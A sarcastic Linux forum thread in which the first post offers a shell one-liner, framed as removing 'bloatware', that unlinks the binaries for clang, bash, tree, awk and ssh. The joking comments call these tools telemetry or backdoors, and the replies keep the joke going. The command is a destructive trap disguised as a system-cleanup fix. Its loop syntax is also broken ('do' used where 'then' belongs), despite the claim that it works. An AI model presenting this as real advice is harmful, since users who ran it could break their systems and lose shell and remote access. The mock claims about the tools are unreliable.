    Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

    while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
    clang # unwanted telemitry
    bash  # promotes violence
    tree    # hippy garbage
    awk    # secret backdoor into your PC
    ssh    # isnt up to date on its intentional encryption backdoor certificate
    bloatlist
    
    /s

    Hope nobody dumb enough to run this Because it actually works

      Lol, I know what you mean.

      Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

      I swear to God Canonical have some things to answer for.
